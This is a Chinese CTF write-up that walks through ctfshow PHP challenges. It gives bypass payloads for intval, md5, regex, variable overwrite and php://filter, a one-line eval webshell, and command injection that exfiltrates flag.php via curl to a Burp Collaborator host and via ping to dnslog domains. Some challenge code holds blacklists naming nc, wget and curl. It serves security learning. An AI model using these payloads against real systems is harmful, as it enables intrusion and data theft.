源码:
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
这里说一下这段代码,大概意思就是传入的值不能等于0-9,但是函数intval函数是判断是否为数组的,但是可以用数组绕过,案列如下。
源码
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
简单分析:这里大概就是用进制绕过
Payload:?num=010574
源码:
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
这题突破点在正则匹配的m,m的意思就是行也可以匹配开始构造
Paylad:?cmd=%0aphp
第一个正则表示匹配开头是PHP的然后结尾也是php,但是加入m之后就变成了可以换行,然而下面main没换行。刚号绕过。
源码:
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
这题本来和90题是一样的,但是这题还有另外一种解法就是用字母E
Payload:?cmd=4476e123
intval()函数如果 b a s e 为 0 则 base为0则 base为0则var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123 其实不需要是e其他的字母也可以
源码:
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
这题改为八进制0开头直接绕过。
源码·:
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
这里就多了一个开头过滤0
对于strpos()函数,我们可以利用换行进行绕过(%0a)
payload:?num=%0a010574
也可以小数点绕过
payload:?num=4476.0
因为intval()函数只读取整数部分
还可以八进制绕过(%20是空格的url编码形式)
payload:?num=%20010576
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
相比上面只是多了过滤一个点。
绕过直接换行就好了。
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
直接用./绕过就好了
./flag.php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
MD5强类型数组绕过
PHP特性:
因为是强类型比较,用0e开头的字符串是没办法绕过的了,但是PHP自身的特性使得可以提交一个数组,而md5函数传入数组的返回值都是NULL,这样就可以绕过强类型比较了。所以这里用GET传入?str1[]=1&str2[]=2就行了
补充:md5()或者sha1()之类的函数计算的是一个字符串的哈希值,对于数组则返回false,如果 s t r 1 和 str1和 str1和str2都是数组则双双返回FALSE, 两个FALSE相等得以绕过
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
这里只需要随便get一个值,然后post一个HHTP_FLAG等于flag即可。
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>
因为in_array没有设置第三个参数,所以产生了漏洞所以直接传入参数1.php
POST传入参数<?php eval($_POST['a']); ?>蚂蚁剑连接即可。
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
先了解一下and、&&、or、|| 的逻辑运算:
$bA = true;
$bB = false;
var_dump($bA and $bB); // false
var_dump($bA && $bB); // false
$bA = false;
$bB = true;
var_dump($bA or $bB); // true
var_dump($bA || $bB); // true
再看下一段代码:
$bA = true;
$bB = false;
$b1 = $bA and $bB;
$b2 = $bA && $bB;
var_dump($b1); // $b1 = true
var_dump($b2); // $b2 = false
$bA = false;
$bB = true;
$b3 = $bA or $bB;
$b4 = $bA || $bB;
var_dump($b3); // $b3 = false
var_dump($b4); // $b4 = true
这段代码跟优先级有很大联系
不难发现:&&与||的优先级是高于and与or的
=的优先级高于and与or
既然如此, v 1 为 数 字 即 可 让 v1为数字即可让 v1为数字即可让v0为True
构造出:var_dump($ctfshow);
payload:
?v1=1&v2=var_dump($ctfshow)/*&v3=*/; //利用注释符号/**/
也可以利用?>和<?=
?v1=1&v2=&v3=?><?=`cat ctfshow.php`; //反引号执行命令
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
我们可以使用ReflectionClass类,打印类的结构
?v1=1&v2=echo new ReflectionClass&v3=;
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
?>
回调函数:call_user_func(callback,parameter )
第一个参数 callback 是被调用的回调函数(一般为闭包函数),其余参数是回调函数的参数。
$v1:这里使用hex2bin()作为回调函数(16进制转化为字符)
$v2:这里要求全是数字。
$v3:使用PHP伪协议写入文件
v3=php://filter/write=convert.base64-decode/resource=1.php
思路:通过写入的 v 2 全 为 数 字 , 转 化 为 字 符 v2全为数字,转化为字符 v2全为数字,转化为字符str,然后写入文件,然后访问文件得到所需
使用base64编码为字符,然后转化为全为数字的16进制得到$v3
关键就是什么代码base64编码后再转为十六进制为全数字
$a='<?=`cat *`;';
$b=base64_encode($a); // PD89YGNhdCAqYDs=
$c=bin2hex($b); //等号在base64中只是起到填充的作用,不影响具体的数据内容,直接用去掉,=和带着=的base64解码出来的内容是相同的。
输出 5044383959474e6864434171594473
带e的话会被认为是科学计数法,可以通过is_numeric检测。
v2=5044383959474e6864434171594473
payload:
?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
# post
v1=hex2bin
#访问1.php后查看源代码获得flag
<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
?>
与md5一样,sha1无法处理数组
payload:
v1[]=1
v2[]=2
与md5一样,可利用0e科学计数法达到伪相等
payload:
v1=aaK1STf //0e7665852665575620768827115962402601
v2=aaO8zKZF //0e89257456677279068558073954252716165
<?php
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){ //键名不能是error
die("what are you doing?!");
}
$$key=$$value; //变量覆盖,意思就是$key的内容作为变量,例如:$key=xx,$$key=$xx
}foreach($_POST as $key => $value){
if($value==='flag'){ //键值不能是flag
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){ //不相等就die($error)
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>
这里有三个变量:
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
$flag 不知道,这就是我们要输出的变量
如何输出变量$flag?
利用变量覆盖
?suces=flag #GET $suces=$flag
error=suces #POST $error=$suces(此时,$flag的值就传给了$suces和$error)
利用($_POST[‘flag’]!==$flag)输出$error,这样就输出了$flag
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
?>
parse_str(string,array)
函数把查询字符串解析到变量中
对设置了第二个参数的情况(即数组的情况)举例说明
$a='q=123&p=456';
parse_str($a,$b);
echo $b['q']; //输出123
echo $b['p']; //输出456
利用md5无法输出数组,返回是NULL的情况
?v3[]=1 #GET
v1="flag=0" #POST
科学计数法0e的情况也可以
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
?>
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。
ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配
strrev() :反转字符串
intval()函数遇到非数字字符就会停止识别, 877aa识别为877
^[a-zA-Z]+$这个正则意思是:匹配所有大小写字母一次或者多次(+号:一次或者多次)
payload:
?c=d%00aa778 //16进制36d的10进制是877
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
?>
通过异常处理类 Exception(system(‘cmd’)) 可以运行指定代码,并且能返回运行的结果(如果存在返回)
<?php
error_reporting(0);
echo new Exception(system('whoami')());
?>
payload
v1=Exception&v2=system("cat f*")
v1=ReflectionClass&v2=system("cat f*")
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
?>
这题姿势盲区,考察的是FilesystemIterator类的使用,简单的使用参考羽师傅的图片
获取当前的目录则可以用getcwd函数,所以payload如下。
?v1=FilesystemIterator&v2=getcwd
缺陷是如果flag的文件不在第一位的话,就不能得到这个文件名。而且这个也没法读文件,所以这题的flag文件和之前一样都是.txt。
访问一下txt文件得flag。
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
payload:?v1=flag&v2=globals
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file)); //经过filter过滤,让显示源代码
}else{
echo "hacker!";
}
绕过is_file,然后highlight_file,很明显用伪协议。
这题可以直接用php伪协议获得flag
php://filter/resource=flag.php
hint中还有这些
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
拿到题目是一个源码,这里简单分析一下,大概意思就是传3个参数,然后第三个参数有限制,这里注意一下第二个传参,因为这里不能传带有.的符号,所以这里要想办法绕过,这里网上看到的是用php变量名不
php变量名不允许使用点号,会变成下划线
但如果出现了[,那么这个[转变为下划线后,后面的点并不会转化,具体原理是啥还不知道
CTF[SHOW.COM=>CTF_SHOW.COM
接下来开始构造,这里网上给出的poc是
CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
简单粗暴,这里是因为我们知道flag变量存在的原因,当我们不知道变量名是什么的时候呢。
这里记住这两个函数
然后flag就出来了
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
这里相对上一题禁了很多打印函数,所以我们换一个想法,使用下面的if语句,但是这里不让传这个变量,所以我们可以想到变量覆盖
使用的是这个函数
然后大概的用意就是用post传入的数据都覆盖原来的数据。
出题人的预期解是在$_SERVER[‘argv’][0]中,对于传递的参数,可以通过加号+进行分割
parse_str:把查询字符串解析到变量中
get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
get:?1=flag.php
post:CTF_SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_GET[1])
1、cli模式(命令行)下,第一个参数$_SERVER[‘argv’][0]是脚本名,其余的是传递给脚本的参数,如下图
2、web网页模式下
在web页模式下必须在php.ini开启register_argc_argv配置项
设置register_argc_argv = On(默认是Off),重启服务
$_SERVER[‘argv’]才会有效果
这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
$argv,$argc在web模式下不适用
出题人的预期解是在$_SERVER[‘argv’][0]中,对于传递的参数,可以通过加号+进行分割
parse_str:把查询字符串解析到变量中
get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}
if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}
if($ctf_show==='ilove36d'){
echo $flag;
}
extract(array,extract_rules,prefix):
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量
这里有个waf我们也不知道过滤了啥,使用直接上脚本。
这里放一个我自己写的一个简单脚本
import requests
url = "http://b3ff09ce-1e26-4241-a0c5-741f7be24316.challenge.ctf.show:8080/"
for i in range(0,129):
j = chr(i);
p = "ctf"+j+"show"
params = {p:"ilove36d"}
res = requests.get(url,params)
if "ctfshow" in res.text:
print(j)
print(res.text)
break
跑一下就出来了
call_user_func 是回调函数,用来调用函数
gettext()拓展函数的用法:
_()是gettext()的拓展函数
在开启相关设定后,_("666")等价于gettext("666"),且就返回其中的参数
<?php
echo gettext(666); //输出 666
echo "\n";
echo _("666"); //输出 666
?>
get_defined_vars() 函数
array get_defined_vars ( void )
返回由所有已定义变量所组成的数组
我们猜测flag在变量$flag中
payload:
?f1=_&f2=get_defined_vars
var(call_user_func(call_user_func(_,get_defined_vars)))
↓
var(call_user_func(get_defined_vars))
↓
var(数组)
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}
这里就直接放payload了
?f=/ctfshow/../../../../../../../var/www/html/flag.php
../数量不确定,但越多越好,确保达到根目录
解法二:php伪协议
看到readfile这个读取文件的函数,可想到php伪协议
?f=php://filter/ctfshow||/resource=flag.php
或者
?f=php://filter/read=convert.base64-encode||ctfshow/resource=flag.php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
这题考的是对正则的熟悉以及函数stripos的熟悉。
这里先说说正则
.+?ctfshow
. 代表任何一个字符串
\+ 代表前面一个字符串一次或者多次
? 代表前面0次或者一次
所以这里我们直接用ctfshow即可绕过
这个函数大概意思就是查找字符串第一个出现的位置,从0开始没有查到就返回false。
在PHP中,0===FALSE是错误的
所以我们可以构造出
?f=ctfshow
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
利用正则最大回溯次数绕过
https://www.laruence.com/2010/06/08/1579.html
大概意思就是在php中正则表达式进行匹配有一定的限制,超过限制直接返回false
import requests
url = "http://3f494b65-dea7-4107-afdc-bd1bca2e5385.challenge.ctf.show:8080/"
param = 'very'*250000 + "36Dctfshow"
data = {
"f":param
}
res = requests.post(url,data)
print(res.text)
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
}
}
这里是直接直接查看robots.txt然后有个/admin,之后出现源码
if(true && true || false){
echo 123;
}
这里看一个简单的例子
结果是123所以对于题目来说,我们只要保证$username ===“admin”,其他的不满足就可以了
payload:username=admin&password=1&code=admin
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}
这里参考一下Firebasky师傅的用法
这个题是自己出的主要是考察,命令执行的骚操作和curl -F的使用
分析一下代码发现仿佛是只能读取前面6个字符去执行命令,禁止了命令执行的函数,并且没有写入权限。可能利用就比较可能
但是,如果我们传递的参数就是$F本身,会不会发生变量覆盖?
那我们来一个简单的测试,
我们传递?F=`$F`;+sleep 3好像网站确实sleep了一会说明的确执行了命令
**那为什么会这样?**
因为是我们传递的`$F`;+sleep 3。先进行substr()函数截断然后去执行eval()函数
这个函数的作用是执行php代码,``是shell_exec()函数的缩写,然后就去命令执行。
而$F就是我们输入的`$F`;+sleep 3 使用最后执行的代码应该是
``$F`;+sleep 3`,就执行成功
这里可能有点绕,慢慢理解
然后就是利用curl去带出flag.php
curl -F 将flag文件上传到Burp的 Collaborator Client ( Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看 POST请求包以及打Cookies)
# payload
#其中-F 为带文件的形式发送post请求
#xx是上传文件的name值,flag.php就是上传的文件
?F=`$F`;+curl -X POST -F xx=@flag.php http://8clb1g723ior2vyd7sbyvcx6vx1ppe.burpcollaborator.net
所以方法原理就是将flag.php上传到bp的Collaborator Client.获得flag在线工具
还有一种方法只不过我没有成功
?F=`$F`;ping `cat flag.php | grep ctfshow | tr -cd “[a-z]”/"[0-9]"`.294b4n.dnslog.cn -c 1
方法二
`$F`;+ping `cat flag.php|awk ‘NR==2’`.6x1sys.dnslog.cn
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}
参考链接详解 $_SERVER
这里看一个实例
实例:
1,http://localhost/aaa/ (打开aaa中的index.php)
结果:
$_SERVER['QUERY_STRING'] = "";
$_SERVER['REQUEST_URI'] = "/aaa/";
$_SERVER['SCRIPT_NAME'] = "/aaa/index.php";
$_SERVER['PHP_SELF'] = "/aaa/index.php";
2,http://localhost/aaa/?p=222 (附带查询)
结果:
$_SERVER['QUERY_STRING'] = "p=222";
$_SERVER['REQUEST_URI'] = "/aaa/?p=222";
$_SERVER['SCRIPT_NAME'] = "/aaa/index.php";
$_SERVER['PHP_SELF'] = "/aaa/index.php";
3,http://localhost/aaa/index.php?p=222&q=333
结果:
$_SERVER['QUERY_STRING'] = "p=222&q=333";
$_SERVER['REQUEST_URI'] = "/aaa/index.php?p=222&q=333";
$_SERVER['SCRIPT_NAME'] = "/aaa/index.php";
$_SERVER['PHP_SELF'] = "/aaa/index.php";
由实例可知:
$_SERVER["QUERY_STRING"] 获取查询 语句,实例中可知,获取的是?后面的值
$_SERVER["REQUEST_URI"] 获取 http://localhost 后面的值,包括/
$_SERVER["SCRIPT_NAME"] 获取当前脚本的路径,如:index.php
$_SERVER["PHP_SELF"] 当前正在执行脚本的文件名
所以可以得到
?_POST[key1]=36d&_POST[key2]=36d
<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}
可能是忘了写入的权限,然后就有了这个poc
?F=`$F `;nl flag*>1.txt
?F=`$F`; cp flag.php 2.txt
?F=`$F`; mv flag.php 3.txt
http://dnslog.cn/
申请一个域名。但是这种方法不行,可能域名前缀不行吧。
payload:F=`$F `;ping `awk '/flag/' flag.php`.1mlbcw.dnslog.cn
`$F`;+ping `cat flag.php|awk 'NR==2'`.6x1sys.dnslog.cn
#通过ping命令去带出数据,然后awk NR一排一排的获得数据
这里解释一下awk这个命令的简单使用,这里用一个实例来演示
首先看一下a.php里面的内容
然后这里这里使用管道符号来筛选,这里单引号然后用斜杠包含的内容就是查找含有这个字符串的一行的值。
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
这里使用的是tee文件输出流,这里通过一个简单的例子来演示
先看一下a.php里面的内容
所以这题的poc是
ls \ | tee 1
awk '/flag/' 49_15_h3r3|tee 1
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
call_user_func — 把第一个参数作为回调函数调用
第一个参数 callback是被调用的回调函数,其余参数是回调函数的参数。
php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法.
ctfshow=ctfshow::getFlag
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}
call_user_func($_POST['ctfshow']);
这下子把 :冒号给禁用了。
用call_user_func()来调用一个类里面的方法
call_user_func(array($classname, 'say_hello'));
#这时候会调用 classname中的 say_hello方法
payload:
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
暂时跳过
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
}
}
参考文章php类型比较表
这里可以看到0和字符串比较是ture,所以这里我们需要让code等于0或者等于字母。
这里为什么可以等于字母是因为intval会把字母变成0.
所以这里我们可以想到poc
f1=md5&f2=md5
f1=usleep&f2=usleep
f1=md5&f2=phpinfo
f1=sha1&f2=getcwd
<?php
#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
/^\W+$/
的意思:匹配^a-zA-Z0-9_]
(任意个非单词字符、非数字字母下划线的字符)这里参考yu师傅给出的脚本无字母数字绕过正则表达式总结
绕过return的方式:
php中有个有意思的地方,数字是可以和命令进行一些运算的,例如 1-phpinfo();结合减号是可以执行phpinfo()命令的。(不一定是减号,还有加、乘、除号,若用加号。要用+,要进行URL编码,这是个特殊字符,不进行编码会当作空格)
这样就好说了。构造出1-phpinfo()-1就可以了,也就是说v1=1&v2=1&v3=-phpinfo()-
现在我们的任务就是取构造命令,那我们就用个简单的方式取反来试一下。
运行脚本构造system(‘tac f*’)
得到 (~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)
payload:
?v1=1&v2=1&v3=-(%8C%86%8C%8B%9A%92)(%8B%9E%9C%DF%99%D5)-
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
$v1 = (String)$_GET['v1'];
if(is_numeric($v1)){
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
sleep($d);
echo file_get_contents("flag.php");
}
}
payload
payload:
?v1=0 八进制
?v1=0x0 16进制
?v1=0e123 科学计数法
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
拿到题目首先分析一下,这里相对141多了好多过滤,没有过滤^可以用异或脚本。这里还是继续用yu师傅的脚本,这里只需要注意一下把正则改成题目给的正则
<?php
/*author yu22x*/
$myfile = fopen("xor_rce1.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
echo "hex_i : ".$hex_i."<br/>";
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
echo "hex_j : ".$hex_j."<br/>";
$preg = '/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
接着用python脚本跑一下
import requests
import urllib
from sys import *
import os
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("xor_rce.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
